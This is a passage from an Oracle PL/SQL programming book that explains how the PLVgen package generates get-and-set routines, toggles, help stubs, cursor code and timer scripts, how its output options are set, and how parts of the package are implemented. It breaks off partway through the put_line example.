Lines 2 and 3 contain the headers for the set and get programs. These should be cut and pasted into the package specification. Line 5 contains the declaration of the variable that is to be protected by the get-and-set programs. This declaration is placed in the body of the package, before any of the program definitions are listed. Lines 7 through 11 contain the definition of the set program. Lines 13 through 18 contain the definition of the get program. Both of these should be cut and pasted into the package body. Notice that even in the simple get function, the template approach is still followed.

16.2.4.1 Generating a Boolean get-and-set

The naming scheme and structure for programs generated for a Boolean get-and-set is a bit different from that for strings, dates, and numbers. When building a get-and-set around a Boolean variable, you can and should take into account the fact that a user can only set the variable to one of three values (TRUE, FALSE, and NULL). In fact, in many cases, a NULL value is not allowed. If PLVgen.gas used the same syntax for Booleans as it does for numbers (see above listing), then the set program would look like this:

PROCEDURE set_show_changes (show_changes_in IN BOOLEAN);

and this program would be used as follows:

PKG_NAME.set_show_changes (TRUE);
PKG_NAME.set_show_changes (FALSE);

While there is certainly nothing wrong with this style, it strikes me as a cumbersome interface. A much cleaner, more natural style would allow me to call programs like this:

PKG_NAME.show_changes; -- Set variable to TRUE.
PKG_NAME.noshow_changes; -- Set variable to FALSE.

This is the very approach taken with the Boolean gas procedure. The full set of generated code (specification, variable declaration, and body code) is shown below for a show_changes variable:

SQL> exec PLVgen.gas ('show_changes', true, true);
   PROCEDURE show_changes;
   PROCEDURE noshow_changes;
   FUNCTION show_changesing RETURN BOOLEAN;

   v_show_changes BOOLEAN := TRUE;

   PROCEDURE show_changes
   IS
   BEGIN
      v_show_changes := TRUE;
   END show_changes;

   PROCEDURE noshow_changes
   IS
   BEGIN
      v_show_changes := FALSE;
   END no_show_changes;

   FUNCTION show_changesing RETURN BOOLEAN
   IS
      retval BOOLEAN := v_show_changes;
   BEGIN
      RETURN retval;
   END show_changesing;

Notice the third program, a function, in the get-and-set routines for a Boolean. This function is the get program and it returns the current value of the Boolean variable. I use the "ing" structure for the name of this function, as in: "Am I currently showing the changes?" PLVgen automatically appends an "ing" to the name of the variable passed in the call to the gas procedure. It is smart enough to convert some formats to a readable name. For example, if you request a get-and-set for the use_lines variable, PLVgen.gas generates a function with this header:

FUNCTION using_lines RETURN BOOLEAN;

and if you use PLVgen.gas with a variable name propose, it generates a function whose header is:

FUNCTION proposing RETURN BOOLEAN;

but PLVgen does not pretend to handle all nuances of the infinitely nuanced English language. As a result, variable names like show_changes result in a function named show_changesing and you will just have to rename it yourself!

16.2.4.2 Generating a toggle

A toggle is an on-off switch; it is actually a special case of the Boolean get-and-set routines. The toggle procedure generates the code required to implement this switch in PL/SQL.

The header for toggle is:

PROCEDURE toggle (name_in IN VARCHAR2 := NULL);

where name_in is the name of the toggle. If you do not specify a toggle name, the following code is generated:

SQL> exec PLVgen.usemin
SQL> exec PLVgen.useln
SQL> exec PLVgen.toggle
   PROCEDURE turn_on;
   PROCEDURE turn_off;
   FUNCTION turned_on RETURN BOOLEAN;

   v_onoff BOOLEAN := TRUE;

   PROCEDURE turn_on
   IS
   BEGIN
      v_onoff := TRUE;
   END turn_on;

   PROCEDURE turn_off
   IS
   BEGIN
      v_onoff := FALSE;
   END turn_off;

   FUNCTION turned_on RETURN BOOLEAN
   IS
      retval BOOLEAN := v_onoff;
   BEGIN
      RETURN retval;
   END turned_on;

You have generated, in other words, a generic toggle to turn something off or turn it on. You can also generate more specific toggles by providing a toggle name. If you pass a non-NULL toggle name, the get-and-set code matches those lines of source code generated by a call to PLVgen.gas for a Boolean variable.

16.2.5 Generating Help Stubs

PL/Vision provides a mechanism for delivering online help for your PL/SQL programs (see Chapter 17). To take advantage of this mechanism you need to (a) put comments with an appropriate format in your source code, and (b) provide an easy way for developers to ask for that help. PLVgen allows you to generate the code and comments to handle both these tasks.

16.2.5.1 Generating help text stubs

The helptext procedure generates a comment stub of the correct format so that the PLVhlp package can find and display the information. The header for helptext is:

PROCEDURE helptext
   (context_in IN VARCHAR2 := PLVhlp.c_main);

where context_in is the context or keyword that indicates the topic of the help text. The default value for this context is the main help topic constant from PLVhlp: HELP.

You can call helptext directly; it is also called by the various program unit generators to include stubs for help text in generated code.

To create a stub of help text for the main topic, you would do the following:

SQL> exec PLVgen.helptext;
   /*HELP
   Add help text here...
   HELP*/

To create a stub of help text for a different topic, such as KNOWN PROBLEMS, you would execute the following command:

SQL> exec PLVgen.helptext ('known problems');
   /*KNOWN PROBLEMS
   Add help text here...
   KNOWN PROBLEMS*/

You can then cut and paste these stubs anywhere in your program definition, add some meaningful help text, and CREATE OR REPLACE the program. Users of the program can then access this text through the PLVhlp.show procedure. To make it easier to get at this information, however, you will most likely generate and include a special help procedure in your program unit (if it is a package, anyway). You do this with the PLVgen.helpproc program.

16.2.5.2 Generating a help procedure

The helpproc procedure generates a program that provides help for a given program unit. The header for helpproc is:

PROCEDURE helpproc
   (prog_in IN VARCHAR2 := NULL, indent_in IN INTEGER := 0);

where prog_in is the name of the program and indent_in is an optional additional indentation. By default the generated code already has an indentation of three spaces. The following SQL*Plus session generates a program to show help text from the specification of the PLVio package.

SQL> exec PLVgen.helpproc ('s:PLVio');
   PROCEDURE help (context_in IN VARCHAR2 := NULL)
   IS
   BEGIN
      PLVhlp.show ('s:PLVio', context_in);
   END help;

Let's see how you would use helpproc to provide help to your users. Suppose you have built a package named emp_maint. You want to allow developers to ask for general help on the employee maintenance tasks available. So you first execute PLVgen.helptext to create a stub help block:

SQL> exec PLVgen.helptext;
   /*HELP
   Add help text here...
   HELP*/

You cut and paste this text into the specification of emp_maint and add some real text. Then you generate a help program as follows:

SQL> exec PLVgen.helpproc ('s:emp_maint');
   PROCEDURE help (context_in IN VARCHAR2 := NULL)
   IS
   BEGIN
      PLVhlp.show ('s:emp_maint', context_in);
   END help;

You then cut and paste this program into the body of the package. You must also cut only the header (first line) of the procedure and paste that into the specification of the package. Once the code is recompiled, a user of emp_maint can enter the following command to see the associated help text:

SQL> exec emp_maint.help

If, by the way, you used PLVgen.pkg to generate the first version of the emp_maint package, it would come with the help program and help text stubs already in place.

16.2.6 Generating a Cursor Declaration

Many of us have gotten pretty good about using consistent indentation and white space for our PL/SQL code. Yet when we come to writing a SQL statement, we abandon any pretense of formatting and disgorge an absolutely awful mish-mash of SQL text into our otherwise orderly procedural logic. I believe that a consistent, readable format for the SQL in our PL/SQL programs is even more important than a good format for the procedural part of the programs. To help you satisfy my whim, PLVgen provides the curdecl procedure, which generates the declaration statement for a cursor.

The header for curdecl is as follows:

PROCEDURE curdecl
   (cur_in IN VARCHAR2,
    ind_in IN INTEGER := 0,
    table_in IN VARCHAR2 := NULL,
    collist_in IN VARCHAR2 := NULL,
    gen_rec_in IN BOOLEAN := TRUE);

where cur_in is the name of the cursor, ind_in is an additional amount of indentation, table_in is the name of the table (or list of tables), and collist_in is the list of columns in the SELECT list of the SQL statement. The gen_rec_in argument specifies whether or not you want a record declaration to be generated with the cursor.

This procedure implements several best practices and naming conventions for cursors: it automatically appends "_cur" to the end of the cursor name and "_rec" to the end of the record name. It formats the SQL statement to make it easier to read. It provides a record to go with the cursor as a discouragement against declaring individual variables into which data is then fetched.

The more you take advantage of these different arguments, the more likely it is that you will generate a cursor declaration that is very close to being ready for execution. Let's look at some examples.

16.2.6.1 Cursor declaration examples

  1. Generate a cursor declaration relying on all default parameter values.

    SQL> exec PLVgen.curdecl('emp');
   CURSOR emp_cur
   IS
      SELECT
        FROM
       WHERE
         AND
       ORDER BY ;
   emp_rec emp_cur%ROWTYPE;

  2. Generate a cursor against the order table to select the order_id and ship_date. Do not generate a record declaration since I am going to use this cursor in a FOR loop.

    SQL> exec PLVgen.curdecl ('orders', 0, 'order', 'order_id, ship_date', FALSE);
   CURSOR orders_cur
   IS
      SELECT order_id, ship_date
        FROM order
       WHERE
         AND
       ORDER BY ;

    The backbone of an SQL SELECT statement generated by curdecl supplies all the main clauses. You could greatly expand upon the PLVgen package to produce all manner of SQL statements.

16.2.7 Generating a "Record Found?" Function

The curdecl procedure generates a cursor declaration, which is certainly useful. Yet there are also many common kinds of code fragments and programs that use cursors in specific ways. One example is the "record found?" function. How many times have you written a function to return TRUE if the desired record exists, and FALSE otherwise?

PLVgen offers the recfnd procedure to generate a version of this "record found?" function that will save you many keystrokes if and when you need this functionality. The header for recfnd is, quite simply:

PROCEDURE recfnd (table_in IN VARCHAR2);

In other words, you provide the name of the table whose contents you wish to check, and recfnd does the rest of the work from there.

The following session generates a function that returns TRUE if the employee is found, and FALSE otherwise.

SQL> exec PLVgen.recfnd ('emp');
    1    FUNCTION empexists (empkey_in IN NUMBER) RETURN BOOLEAN
    2    IS
    3       CURSOR emp_cur
    4       IS
    5          SELECT 1
    6            FROM emp
    7           WHERE
    8             AND
    9           ORDER BY ;
   10       emp_rec emp_cur%ROWTYPE;
   11       retval BOOLEAN := FALSE;
   12    BEGIN
   13       OPEN emp_cur;
   14       FETCH emp_cur INTO emp_rec;
   15       retval := emp_cur%FOUND;
   16       CLOSE emp_cur;
   17       RETURN retval;
   18
   19    EXCEPTION
   20       WHEN OTHERS
   21       THEN
   22          RETURN NULL;
   23    END empexists;

Notice that the procedure creates appropriate names for the function, cursor, and record from the table name -- and places that table name into the cursor's query. It follows the template approach for functions, so that you have an exception handler to return a NULL in case of problems and a single RETURN in the body of the function. Sure, you have to change the SELECT statement and the key might not be a NUMBER. Regardless, with a simple cut and paste operation, you have more than twenty lines of consistent, readable code.

16.2.8 Generating a Cursor FOR Loop

Another common programming construct for PL/SQL developers is the cursor FOR loop, so it will come as no surprise that PLVgen offers a procedure to generate this loop. The header for the cfloop procedure is:

PROCEDURE cfloop (table_in IN VARCHAR2);

You provide the name of the cursor and cfloop does the rest. The following SQL*Plus session demonstrates the kind of code generated, in this case for a cursor FOR loop based on the dept table.

SQL> exec PLVgen.cfloop('dept');
   CURSOR dept_cur
   IS
      SELECT *
        FROM dept
       WHERE
         AND
       ORDER BY ;

   << dept_cur >>
   FOR dept_rec IN dept_cur
   LOOP

   END LOOP dept_cur;

The cfloop procedure does several convenient things for us: it defaults the SELECT list to * or all columns. It creates a loop label, which is also applied to the END LOOP statement to improve readability. It avoids declaring the record used by the FOR loop -- an unnecessary and potentially hazardous step often taken by poorly informed PL/SQL programmers.

You cut and paste the cursor declaration into the declaration section; move the FOR loop itself into the body of the program; put some executable code in the body of the loop; and off you go.

16.2.9 Generating a Timer Script

The PLVtmr package offers an easy-to-use mechanism for timing PL/SQL code execution down to a hundredth of a second. I found that I often used this package to time the performance of the same line or lines of code executed more than once -- in other words, inside a loop. Rather than write these loops again and again, I added a procedure to PLVgen to generate this code for me.

The timer procedure's header is as follows:

PROCEDURE timer (plsql_in IN VARCHAR2);

You provide the line of PL/SQL code you want to execute and PLVgen provides a SQL*Plus script as shown below:

SQL> exec PLVgen.timer ('calc_totals;');
   BEGIN
      PLVtmr.set_factor (&1);
      PLVtmr.capture;
      FOR rep IN 1 .. &1
      LOOP
         calc_totals;
      END LOOP;
      PLVtmr.show_elapsed ('MSG');
   END;
   /

These lines of code should be placed in a file with the .sql extension. Change the text in the call to show_elapsed, add other lines of code to the body of the loop if desired. Upon execution, you provide the number of iterations (or, in PLVtmr terms, the factor), and the script executes (in this case) the calc_totals procedure that number of times. PLVtmr.show_elapsed then displays the total elapsed time and the per-execution time as well.

Previous: 16.1 Options for Best Practices | Advanced Oracle PL/SQL Programming with Packages | Next: 16.3 Modifying PLVgen Behavior
16.1 Options for Best Practices | Book Index | 16.3 Modifying PLVgen Behavior
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.3 Modifying PLVgen Behavior

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

16.3 Modifying PLVgen Behavior

The PLVgen package is a tool to improve the quality of life of developers. It can be used directly in an environment like SQL*Plus. It can also be utilized from within a GUI interface to make it easier to select options and combine different code fragments. Given the wide variety of circumstances under which PLVgen could be used, and the variety of coding styles used by developers, I face a big challenge in implementing PLVgen: make it flexible!

I cannot, for example, force anyone to use my PLVexc package to handle exceptions. An application team might not want to use the PLVtrc package to build in an execution trace. If I don't give users of PLVgen the option to use and ignore these different elements, I will not have very many users of the package. Consequently, I supply a variety of get-and-set programs in PLVgen to toggle various aspects of generate behavior. I even used early versions of PLVgen to generate get-and-set programs for the PLVgen package itself!

PLVgen offers a set of toggles to turn on or off the inclusion of various elements of code. It also provides a set of programs to modify the appearance of output, particularly as regards indentation. These programs are listed in Table 16.1 and are explained in the following sections.

Table 16.1: Programs to Modify PLVgen Behavior and Output
Behavior | Programs | Description
Set author | set_author author | Sets and retrieves the current string used as the author in a program header. The default is NULL.
Set indentation | set_indent indent incr_indent | Sets and retrieves the two types of indentation: initial and incremental. The default for the indent is 0 and for the incremental is 3.
Use program trace | usetrc nousetrc | Inserts calls to PLVtrc.startup and PLVtrc.terminate in generated procedures and functions. Default is OFF.
Use exception handling | useexc nouseexc | Inserts a WHEN OTHERS exception handler that calls the exception handler PLVexc.rec_continue, a generic program that records the error and then continues execution. You can then add other handlers as well. Default is OFF.
Use program header | usehdr nousehdr | Places a header (within a comment block) for procedures and functions. This header uses the author name set with a call to set_author. Default is OFF.
Use comments | usecmnt nousecmnt | Places comments inside the generated code. Examples of comments include banners for the different components of a package and descriptions of the components of get-and-set routines. Default is ON.
Use online help | usehlp nousehlp | Puts stubs for help text in programs and also creates a procedure in your generated package to provide help for that package. Default is ON.
Add CREATE OR REPLACE | usecor nousecor | Adds the syntax necessary to CREATE OR REPLACE the generated procedure, function, or package. Default is OFF.
Use line numbers | useln nouseln | Displays the line number next to the source code.

16.3.1 Indentation in PLVgen

There are two elements to indentation: the initial indentation and the next or incremental indentation. The initial value is the number of spaces inserted before any line of code is generated. The incremental indentation is the number of spaces indented for each successive indent (code within a loop, declarations within the declaration section, and so on). PLVgen provides a single set program for both of these values:

PROCEDURE set_indent
   (indent_in IN NUMBER,
    incr_indent_in IN NUMBER := c_incr_indent);

The default starting indentation is 0. The default incremental indentation is 3. Use the set_indent procedure to change either or both of these values.

PLVgen provides two functions to return the current indentation values. The indent function returns the current starting indentation value. The incr_indent function returns the current incremental indentation value. The headers for these functions are shown below:

FUNCTION indent RETURN NUMBER;
FUNCTION incr_indent RETURN NUMBER;

When might you call set_indent? If you are going to generate a function to stick inside a package, you want to set the starting indentation at 3 (or whatever your standard is) so that the resulting code is indented properly within the context of the package. This saves you editing time in which you insert spaces at the beginning of each line.

16.3.2 Setting the Code Author

If you are generating a header for your code, you can set the name of the author placed in the header. The default for the author is NULL. You can call the set_author procedure to change the author. Call the author function to retrieve the current author name.

The headers for these two functions are shown below:

PROCEDURE set_author (author_in IN VARCHAR2);
FUNCTION author RETURN VARCHAR2;

The following execution of set_author, for example, sets the name to "Steven Feuerstein".

SQL> exec PLVgen.set_author ('Steven Feuerstein');

To make certain that this author value is always set for me when generating code, I include the above command in my login.sql script. This file is executed automatically on startup of SQL*Plus and initializes my environment.

16.3.3 Using the Program Header

You can decide if you want PLVgen to include a standard header in your generated program units (packages, functions, and procedures). The format for this header is:

/*
|| Program:
||  Author:
||    File:
|| Created:
*/

The program name is usually taken from other inputs to the generator program. The author string is set through a call to PLVgen.author. The file name is constructed from the program string. The create date/time stamp is SYSDATE.

You can toggle the header on or off. In addition, you can call a function to determine the current status of the "use program header" toggle. The headers for these three programs are:

PROCEDURE usehdr;
PROCEDURE nousehdr;
FUNCTION using_hdr RETURN BOOLEAN;

You call usehdr to turn on use of the header and nousehdr to turn off the header. Call the using_hdr function if you want to know whether the header is being used. (This is included mostly as a courtesy and for completeness. Usually you simply turn the feature on or off and be done with it.)

16.3.4 Using the Program Trace

The PLVtrc package offers the ability to maintain a trace of the programs that are currently on the execution stack of PL/SQL. PL/SQL itself provides this information with the DBMS_UTILITY.FORMAT_CALL_STACK function, but that stack does not show the names of programs within a package -- a serious drawback for package-centered PL/SQL code development. So you can call PLVtrc.startup to indicate that a particular program has started. And you call PLVtrc.terminate to signal that the program has ended. See Chapter 21, PLVlog and PLVtrc: Logging and Tracing, for more information on how to use PLVtrc.

The PLVgen package is "PLVtrc-aware." It automatically inserts calls to the startup and terminate programs of the trace facility if you turn on this feature. You can toggle the trace on or off. In addition, you can call a function to determine the current status of the "use program trace" toggle. The headers for these three programs are:

PROCEDURE usetrc;
PROCEDURE nousetrc;
FUNCTION using_trc RETURN BOOLEAN;

You call usetrc to turn on use of the trace and nousetrc to turn off the trace. Call the using_trc function if you want to know whether the trace is being used.

When you are using the program trace, a generated procedure has at a minimum the following body or execution section:

PROCEDURE calc_totals
IS
BEGIN
   PLVtrc.startup ('calc_totals');
   PLVtrc.terminate;
END calc_totals;

Notice that PLVgen automatically inserts the name of the current program unit to PLVtrc.startup; you don't have to mess with this. You just insert all of your application-specific code between the startup and terminate lines. By using PLVgen, you can make the use of PLVtrc practical and comprehensive. This is especially worthwhile when you are going to take advantage of the high-level exception handlers provided by PLVexc.

16.3.5 Using the PLVexc Exception Handler

The PLVexc package provides a high-level, declarative approach to exception handling in PL/SQL programs. It is a powerful facility for consistent, high-quality handling of errors.

The PLVgen package is also "PLVexc-aware." It automatically creates an exception section and provides a single WHEN OTHERS handler that calls a PLVexc handler procedure. There are two possible handlers that will be placed in the exception section. If you are using PLVtrc (you have called PLVgen.usetrc), then the more abstract rec_continue procedure will be used. If you are not using PLVtrc, PLVgen inserts a call into the lower-level PLVexc.handle procedure (see Chapter 22, Exception Handling, for more information about the differences between these two programs).

You can toggle the inclusion of PLVexc on or off. In addition, you can call a function to determine the current status of the "use program PLVexc" toggle. The headers for these three programs are:

PROCEDURE useexc;
PROCEDURE nouseexc;
FUNCTION using_exc RETURN BOOLEAN;

You call useexc to turn on use of the PLVexc and nouseexc to turn off the PLVexc. Call the using_exc function if you want to know if PLVexc is being used.

When you are using exception handling and the trace facility (enabled by a call to PLVgen.usemax or to both PLVgen.useexc and PLVgen.usetrc), the exception section for a procedure looks like this:

EXCEPTION
   /* Call PLVexc in every handler. */
   WHEN OTHERS
   THEN
      PLVexc.rec_continue;
END calc_totals;

Notice the comment line before the exception handler. If you are going to use PLVtrc in conjunction with PLVexc, you must call a PLVexc exception handler procedure in every exception handler section.

If you have turned on exception handling in PLVgen, but have turned off use of PLVtrc, the exception section for your generated programs looks like this:

EXCEPTION
   WHEN OTHERS
   THEN
      PLVexc.handle (calc_totals, SQLCODE, PLVexc.rec_continue);
END calc_totals;

NOTE: If you want to use a different PLVexc handler, such as rec_halt, you need to cut and paste and then edit your generated code (you could, alternatively, change the name of the default handler, that is stored in c_PLVexc_handler in the PLVgen body).

When you are not using PLVexc-based exception handling (you have called PLVgen.nouseexc), the exception section for a procedure looks like this:

EXCEPTION
   WHEN OTHERS
   THEN
      NULL;
END calc_totals;

So even when you do not take advantage of PL/Vision-based exception handling, PLVgen still generates an exception section in your code. This is an important element of best practices for module construction and should almost never be compromised.

16.3.6 Generating Comments

PLVgen includes a number of different kinds of comments in your generated code. You can toggle the generation of these comments on or off. In addition, you can call a function to determine the current status of the "use comments" toggle. The headers for these three programs are:

PROCEDURE usecmnt;
PROCEDURE nousecmnt;
FUNCTION using_cmnt RETURN BOOLEAN;

You call usecmnt to turn on use of the comment lines and nousecmnt to turn it off. Call the using_cmnt function if you want to know whether the comments are being used.

NOTE: The header and the help text stubs are not affected by the setting of this toggle. They are PL/SQL comments, but they act as specialized text within the PLVgen package and so are treated differently (with their own toggles).

16.3.7 Generating Online Help Text Stubs

You can control the generation of online help text stubs (available through use of the PLVhlp package) with the "use help" toggle. You can toggle the generation of these stubs on or off. In addition, you can call a function to determine the current status of the "use help" toggle. The headers for these three programs are:

PROCEDURE usehlp;
PROCEDURE nousehlp;
FUNCTION using_hlp RETURN BOOLEAN;

You call usehlp to turn on use of the comment lines and nousehlp to turn it off. Call the using_hlp function if you want to know whether the comments are being used.

If you know that you are not going to use PLVhlp to make online help available to users, you can keep these extraneous comments out of your programs with a call to the PLVgen.nousehlp procedure. If you generate these stubs into your programs and then never use them, you will have absolutely no adverse impact on your program execution.

16.3.8 Generating Line Numbers

PLVgen lets you generate line numbers for your programs. This may not mean much to any of you, but it sure was important to me. I wanted to be able to point out specific lines of generated code for your attention, so I built this facility into the package itself.

You can toggle the generation of these line numbers on or off. In addition, you can call a function to determine the current status of the "use line numbers" toggle. The headers for these three programs are:

PROCEDURE useln;
PROCEDURE nouseln;
FUNCTION using_ln RETURN BOOLEAN;

You call useln to turn on use of the line numbers and nouseln to turn it off. Call the using_ln function if you want to know whether the line numbers are being generated.

16.3.9 Including CREATE OR REPLACE

When you are generating code to be compiled and stored in the database through SQL*Plus, you need to use the CREATE OR REPLACE syntax. In all other situations (generating code for inclusion in an Oracle Developer/2000 environment or to be pasted into a GUI development environment like Oracle Procedure Builder), you will not use CREATE OR REPLACE. That part of the syntax is done for you.

PLVgen gives you the ability to choose whether you want to generate a program with the CREATE OR REPLACE syntax. The three programs managing this toggle are listed here:

PROCEDURE usecor;
PROCEDURE nousecor;
FUNCTION using_cor RETURN BOOLEAN;

Call the usecor program to request that a CREATE OR REPLACE be put before the program unit name -- and a forward slash be added as the last line of the generated output. Call nousecor to ignore this DDL syntax. Finally, call using_cor to find out the current status of this toggle.

16.3.10 Setting Groups of Toggles

As you can see, there are many options when it comes to modifying the output and behavior of the PLVgen package. Without this flexibility, I doubt that anyone would ever find a package like PLVgen useful. On the other hand, there may be one thing worse than offering no options: offering too many options.

Suppose, for example, you wanted to turn on all of the different toggles available in PLVgen. You would then have to execute all of the following commands:

SQL> exec PLVgen.usehdr
SQL> exec PLVgen.useexc
SQL> exec PLVgen.usehlp
SQL> exec PLVgen.usecor
SQL> exec PLVgen.usetrc
SQL> exec PLVgen.usecmt
SQL> exec PLVgen.useln

There are at least two big problems with this: you would have to know about all of these options -- and the set of options will quite likely be expanding in the foreseeable future. You would also have to do an awful lot of typing -- you simply wouldn't bother!

This is not a recipe for usability. So in addition to providing each of the individual toggles, I provide two other "master switches" for setting the toggles:

PROCEDURE usemin;
PROCEDURE usemax;

The usemin program turns off all the toggles; the usemax turns them all on. If you want to make sure that you generate line numbers, but otherwise have everything else turned off, you would execute these two commands before generating code:

SQL> exec PLVgen.usemin;
SQL> exec PLVgen.useln;

As PLVgen is expanded to support new toggles and areas of flexibility, I expect that it will be necessary to create other programs to turn on or off various sets of toggles. These combinations will create "preferences" and further improve the usability of the package.

Previous: 16.2 Code Generated by PLVgen | Advanced Oracle PL/SQL Programming with Packages | Next: 16.4 Implementing PLVgen
16.2 Code Generated by PLVgen | Book Index | 16.4 Implementing PLVgen
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.4 Implementing PLVgen

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

16.4 Implementing PLVgen

The PLVgen package is a large package. The body alone contains more than 20,000 characters spread over 1,390 lines of code. It is not, however, a terribly complicated package. Each of the "public" programs (the code generators) is, at heart, a sequence of commands to output various combinations of text.

The biggest challenge in constructing PLVgen was to minimize the amount of redundant code. There are many common lines of text, for example, between the template for a function and procedure. And my package allows you to generate many different kinds of functions and procedures. If I simply hard-coded the lines of text to be output for each different program unit, the PLVgen package would run into two problems:

  1. It would grow to monstrous proportions and eventually (soon?) hit the upper limit for code size in PL/SQL.

  2. It would be difficult to maintain and enhance. I would have to constantly cut and paste to build new generator procedures, since there would be little shared code. And what if I discovered a mistake in all of my different function generators? Or, even more likely, what if I want to add another toggle to fine-tune the look-and-feel of the generated code? I would have to make changes across many different program units in the package.

PLVgen is definitely one of those packages where a building-block approach was absolutely critical to a successful implementation. To explain PLVgen, I first review some of the best practices and coding styles I support through the package. Then I show the implementation of the high-level procedure generator (the proc procedure). Finally, I shift down to the lowest level of the package (the put_line procedure) and build my way up from there.

16.4.1 PLVgen Coding Guidelines

You will find implemented in PLVgen the following best practices and coding styles:

  • Use consistent indentation to reveal the logical flow of the program and delineate the different sections of the block structure.

  • Include in all programs an exception section to handle abnormal behaviors. Taking this guideline to the next level of reusability, PLVgen offers programs (implemented through the PLVexc package) to call in the exception handlers.

  • Code all reserved words in the PL/SQL language in uppercase. Use lowercase for all application-specific identifiers. Generally, this is accomplished with hard-coded literals and the use of UPPER and LOWER. This guideline presents more of a challenge when applied to complex expressions passed to PLVgen as default values.

  • Employ a "template" approach to functions in which there is a single successful RETURN statement that returns a locally declared variable of the same datatype as the function.

Keep these guidelines in mind as you examine the program units of PLVgen.

16.4.2 Implementing the Procedure Generator

This proc program generates a procedure as described in Section 16.2.2. Let's now go over the implementation of proc, as shown in Example 16.1.

Example 16.1: The Code for the proc Procedure

 1   PROCEDURE proc
 2      (name_in IN VARCHAR2,
 3       params_in IN VARCHAR2 := NULL,
 4       exec_in IN VARCHAR2 := NULL,
 5       incl_exc_in IN BOOLEAN := TRUE,
 6       indent_in IN INTEGER := 0,
 7       blank_lines_in IN VARCHAR2 := c_before)
 8   IS
 9      v_name PLV.plsql_identifier%TYPE := LOWER (name_in);
10   BEGIN
11      initln;
12      put_line
13         (cor_start || proc_header (v_name, params_in),
14          indent_in,
15          blank_lines_in);
16
17      put_header_cmnt (v_name, indent_in);
18
19      put_all_help (indent_in);
20
21      put_is_begin (v_name, indent_in);
22
23      IF exec_in IS NOT NULL
24      THEN
25         put_line
26            (RTRIM (exec_in, ';') || ';',
27             indent_in + v_incr_indent);
28      END IF;
29
30      put_terminate (v_name, indent_in + v_incr_indent);
31
32      IF incl_exc_in
33      THEN
34         put_when_others (v_name, indent_in + v_incr_indent);
35     END IF;
36
37     put_end (v_name, indent_in);
38   END;

The very first thing I do is declare a local variable, v_name, and set it to the lower-casing of the specified program name:

   v_name PLV.plsql_identifier%TYPE := LOWER (name_in);

This step enforces the style guide in which application-specific identifiers are entered in lowercase. It also takes advantage of the predefined datatype for PL/SQL identifier variables.

From this point onwards, the body of proc is composed of calls to a series of highly specialized procedures and functions defined in the body of the package. These programs are:

Procedure put_line (line 12)

Puts out a line of generated code.

Function cor_start (line 13)

Returns the CREATE OR REPLACE syntax if using_cor returns TRUE. Otherwise, returns NULL.

Function proc_header (line 13)

Returns a string with the header for the specified procedure. The header is all of the definition of the procedure up to the IS keyword.

Procedure put_header_cmnt (line 17)

Puts a program header (comment block with author, program name, etc.) after the procedure header.

Procedure put_all_help (line 19)

Puts in all current comment blocks for online help.

Procedure put_is_begin (line 21)

Puts the IS and BEGIN keywords in the procedure definition. This procedure also adds a call to the PLVtrc.startup procedure if using_trc returns TRUE.

Procedure put_terminate (line 30)

Puts a call to PLVtrc.terminate at the end of the procedure if using_trc returns TRUE.

Procedure put_when_others (line 34)

Puts an exception section with a WHEN OTHERS clause if the incl_exc_in argument is TRUE.

Procedure put_end (line 37)

Puts the END statement at the, well, the end of the procedure.

16.4.2.1 Benefits of internal modularization

Once I have created all of these specialized variations on put_line, the body of the proc procedure is very short and simple. Why do I go to all this trouble? Why not simply issue calls to put_line with the appropriate combinations of strings? There are two very good reasons:

  1. Each of these are called in other programs in the PLVgen package. If I did not encapsulate the logic inside a variation of put_line, I would be repeating my logic. This would make debugging and enhancement of the package difficult, if not impossible.

  2. The calls to the put procedures now reflect the structure of a PL/SQL procedure.

Let's look at the second reason in detail. First, there is the program header:

put_line
   (cor_start || proc_header (v_name, params_in), indent_in);

While it is true that I don't have a separate put_header program, this call to put_line uses two functions to encapsulate much of the header logic. Most importantly, the proc_header function returns the header string. This function is called in several different programs in PLVgen.

After the header of the function, I need the IS and BEGIN clauses. These are provided by the put_is_begin procedure:

put_is_begin (v_name, indent_in);

Then it is time for executable statements:

IF exec_in IS NOT NULL
THEN
   put_line
      (RTRIM (exec_in, ';') || ';',
       indent_in + v_incr_indent);
END IF;

Notice that I make sure there is a single semicolon at the end of the supplied string. That way, the user can leave it off and it won't make any difference (one example of "self-correcting" software; the smarter I make my code, the more likely and widely it is going to be used). I also indent this executable statement by an additional amount to offset it from the BEGIN keyword (a section delimiter).

I then terminate the procedure in three steps. First, I insert a call to PLVtrc.terminate if the trace is in use (again, notice the incremental indentation):

put_terminate (v_name, indent_in + v_incr_indent);

Then I put a WHEN OTHERS exception section (unless told not to):

IF incl_exc_in
THEN
   put_when_others (v_name, indent_in + v_incr_indent);
END IF;

Finally, it is time to issue the END statement to close the procedure:

put_end (v_name, indent_in);

By modularizing my code in this way, I am able to avoid superfluous and time-consuming inline documentation. The breakout of the modules explains much of what I am doing in the program. In addition, it is much easier to maintain and enhance this program. If I want to add code to the executable section, I make changes within that IF statement. If I need to enhance the way I terminate my generated program units, I will do so in put_terminate and/or put_end. The main body of the proc procedure can remain as it is.

Now that I have walked you through one of my high-level generators, let's dive down into the lowest level put program: put_line.

16.4.3 put_line Procedure

At the very core of the PLVgen package is the put_line procedure (see Example 16.2). This program is called by other private put procedures to output various combinations of text. It is also called directly from the high-level, public programs such as proc and toggle. The put_line procedure is the only way to generate code text from the PLVgen package.

Example 16.2: The put_line Procedure

PROCEDURE put_line
   (stg_in IN VARCHAR2 := NULL,
    incr_indent_in IN INTEGER := 0,
    blanks_in IN VARCHAR2 := c_none)
IS
BEGIN
   IF blanks_in IN (c_both, c_before)
   THEN
      PLVio.put_line (stg_with_ln);
   END IF;

   PLVio.put_line
      (stg_with_ln (indent_stg (incr_indent_in) || stg_in));

